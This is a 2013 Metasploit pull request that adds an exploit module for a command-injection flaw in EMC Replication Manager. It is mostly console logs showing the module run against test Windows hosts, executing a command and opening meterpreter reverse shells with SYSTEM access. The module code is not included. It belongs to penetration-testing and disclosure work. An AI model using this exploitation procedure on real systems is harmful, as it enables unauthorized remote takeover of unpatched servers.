rapid7/metasploit-framework — pull request #2529 by ddouhine (2013-10-16 14:00:50+00:00)
Title: added exploit module for EMC Replication Manager

This PR takes into account comments of https://github.com/rapid7/metasploit-framework/pull/2338
Module exploits a remote command-injection vulnerability in EMC Replication Manager client (irccd.exe). By sending a specially crafted message invoking RunProgram function an attacker may be able to execute arbitrary code commands with SYSTEM privileges.
Affected products is EMC Replication Manager < 5.3.
This module has been successfully tested against EMC Replication Manager 5.2.1 on W2003 and XP.
EMC Networker Module for Microsoft Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested against these products.
If meterpreter doesn't pop up, it is still possible to run arbitrary windows commands using CMD option.

Test against W2003 (run a command first and then meterpreter):
````
msf> use exploit/windows/emc/replication_manager_exec
msf exploit(replication_manager_exec) > set CMD c:\\windows\\system32\\calc.exe
CMD => c:\windows\system32\calc.exe
msf exploit(replication_manager_exec) > set RHOST 192.168.1.13
RHOST => 192.168.1.13
msf exploit(replication_manager_exec) >
msf exploit(replication_manager_exec) > show options

Module options (exploit/windows/emc/replication_manager_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
CMD c:\windows\system32\calc.exe no Execute this command instead of using command stager
RHOST 192.168.1.13 yes The target address
RPORT 6542 yes The target port

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.1.13 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(replication_manager_exec) > exploit

[*] Started reverse handler on 192.168.1.13:4444
[*] Executing command 'c:\windows\system32\calc.exe'
[+] We sent hello and get hello back from the server. Good
[+] A session has been created. Good.
msf exploit(replication_manager_exec) >
msf exploit(replication_manager_exec) >
msf exploit(replication_manager_exec) > unset CMD
Unsetting CMD...
msf exploit(replication_manager_exec) > exploit

[*] Started reverse handler on 192.168.1.13:4444
[+] We sent hello and get hello back from the server. Good
[+] A session has been created. Good.
[*] Command Stager progress - 4.94% done (4999/101214 bytes)
(...)
[+] We sent hello and get hello back from the server. Good
[+] A session has been created. Good.
[*] Command Stager progress - 100.00% done (101214/101214 bytes)
[*] Sending stage (770048 bytes) to 192.168.1.13
[*] Meterpreter session 2 opened (192.168.1.13:4444 -> 192.168.1.13:6123) at 2013-10-16 15:29:11 +0200

meterpreter >
meterpreter >
meterpreter >
meterpreter > pwd
C:\Program Files\EMC\rm\client\bin
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.13 - Meterpreter session 2 closed. Reason: User exit
````

Test against XP:
````
msf exploit(replication_manager_exec) > set RHOST 192.168.1.19
RHOST => 192.168.1.19
msf exploit(replication_manager_exec) >
msf exploit(replication_manager_exec) >
msf exploit(replication_manager_exec) > exploit

[*] Started reverse handler on 192.168.1.13:4444
[+] We sent hello and get hello back from the server. Good
[+] A session has been created. Good.
[*] Command Stager progress - 4.94% done (4999/101214 bytes)
(...)
[+] We sent hello and get hello back from the server. Good
[+] A session has been created. Good.
[*] Command Stager progress - 100.00% done (101214/101214 bytes)
[*] Sending stage (770048 bytes) to 192.168.1.19
[*] Meterpreter session 3 opened (192.168.1.13:4444 -> 192.168.1.19:1368) at 2013-10-16 15:30:03 +0200

meterpreter > pwd
C:\Program Files\EMC\rm\client\bin
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.19 - Meterpreter session 3 closed. Reason: User exit
````